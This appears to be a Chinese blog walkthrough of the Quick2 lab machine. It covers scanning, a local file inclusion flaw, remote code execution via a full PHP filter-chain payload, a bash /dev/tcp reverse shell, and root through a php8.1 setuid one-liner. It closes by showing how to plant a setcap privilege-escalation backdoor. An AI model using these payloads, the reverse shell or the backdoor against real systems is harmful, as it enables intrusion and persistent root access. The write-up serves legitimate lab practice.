Quick2靶机渗透

笔记编辑于2025/11/23

本文是个人参考【OSCP】quick2进行的复现的文章

靶机渗透开场

攻击机1

主机存活发现

复制代码
┌──(root㉿Xudde)-[~]
└─# ip a
┌──(root㉿Xudde)-[~]
└─# nmap -sP 192.168.161.130/24

发现靶机192.168.161.131

攻击机2

端口扫描

复制代码
┌──(root㉿Xudde)-[~]
└─# nmap -sV -O -p- 192.168.161.131

攻击机3

目录扫描

复制代码
┌──(root㉿Xudde)-[~]
└─# dirsearch -u http://192.168.161.131:80/

攻击机4

漏洞扫描

复制代码
┌──(root㉿Xudde)-[~]
└─# nikto -host http://192.168.161.131

nikto告诉我们index.php?page=存在文件本地文件包含漏洞

攻击机5

验证本地文件包含漏洞

当然在file.php这个文件也有本地文件包含漏洞

攻击机6

用脚本php_filter_chain_generator.py构造RCE

https://github.com/synacktiv/php_filter_chain_generator

一个用于生成PHP过滤器链的命令行工具,如果你完全控制传入PHP require或include的参数,则无需上传文件即可获得RCE!

复制代码
python3 php_filter_chain_generator.py --chain '<?=`$_GET[0]`?>'

攻击机7

file=后面加上&0=id执行命令

复制代码
http:?/192.168.161.131:80/file.php?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&0=id

攻击机8

反弹shell,命令需要url编码

复制代码
//编码前
/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.161.131/6666 0>&1"
//编码后,插入&0=后面,本地执行nc -lvvp 6666监听
%2fbin%2fbash+-c+%22%2fbin%2fbash+-i+%3e%26+%2fdev%2ftcp%2f192.168.161.131%2f6666+0%3e%261%22         

成功拿到shell

目标机1

复制代码
cd /home/nick
cat user.txt

第一个flag,HMV{Its-gonna-be-a-fast-ride}

靶机渗透内网提权

攻击机10

提权

在/tmp目录下上传linpeas.sh扫描

复制代码
python -m http.server 7777

目标机2

复制代码
wget http://192.168.161.130:7777/linpeas.sh

目标机3

给予linpeas.sh执行权限,并执行linpeas.sh

复制代码
chmod +x linpeas.sh ./linpeas.sh

目标机4

根据描述查看有无RED/YELLOW

攻击机11

复制代码
https://gtfobins.github.io/gtfobins/php/

目标机5

复制代码
/usr/bin/php8.1 -r "posix_setuid(0);system('/bin/sh');" 
或者 
CMD="/bin/sh" 
/usr/bin/php8.1 -r "posix_setuid(0);system('$CMD');"

目标机6

复制代码
ls /root/ cat /root/root.txt

得到第二个flag,HMV{This-was-a-Quick-AND-fast-machine}

靶机渗透结束收场

web漏洞源代码分析

file.php文件

复制代码
www-data@quick2:/var/www/html$ cat file.php
cat file.php
<html>
<body>
<h2>Local File Inclusion Vulnerability</h2>
<form method="get" action="<?php echo $_SERVER['PHP_SELF'];?>">
  File to include: <input type="text" name="file">
  <input type="submit">
</form>
<?php
if (isset($_GET['file'])) {
  include($_GET['file']);
}
?>
</body>
</html>

没有任何过滤

可以利用php伪协议执行代码

复制代码
http://192.168.161.131:80/file.php?file=php://filter/convert.base64-encode/resource={file}.php

还有file:///etc/passwd读取文件

另外因为靶机php配置文件没有开启allow_url_include无法实现php://input和data://

且allow_url_fopen也是关闭的远程文件包含更无法实现

渗透收获

设置提权后门方法

setcap cap_setuid=ep /usr/bin/php8.1 //允许进程修改自身用户id

提权后门提权方法

/usr/bin/php8.1 -r "posix_setuid=(0);system('/bin/sh');"

这波渗透收获也蛮丰收,懂得了设置提权后面的方法和新的提权方法

相关推荐
岁岁的O泡奶1 小时前
DVWA_Vulnerability: Command Injection
经验分享·安全·web安全
AA陈超1 小时前
Git常用命令大全及使用指南
笔记·git·学习
羑悻的小杀马特2 小时前
轻量跨云·掌控无界:Portainer CE + cpolar 让远程容器运维像点外卖一样简单——免复杂配置,安全直达对应集群
运维·网络·安全·docker·cpolar
麦麦在写代码2 小时前
前端学习5
前端·学习
F***c3252 小时前
PHP在微服务中的分布式跟踪
分布式·微服务·php
愚戏师2 小时前
Python3 Socket 网络编程复习笔记
网络·笔记
降临-max3 小时前
JavaSE---网络编程
java·开发语言·网络·笔记·学习
我不是QI3 小时前
周志华《机器学习—西瓜书》二
人工智能·安全·机器学习
chxii3 小时前
PHP 配置全解析:Apache vs Nginx 的线程安全差异与 Windows 实战指南
运维·php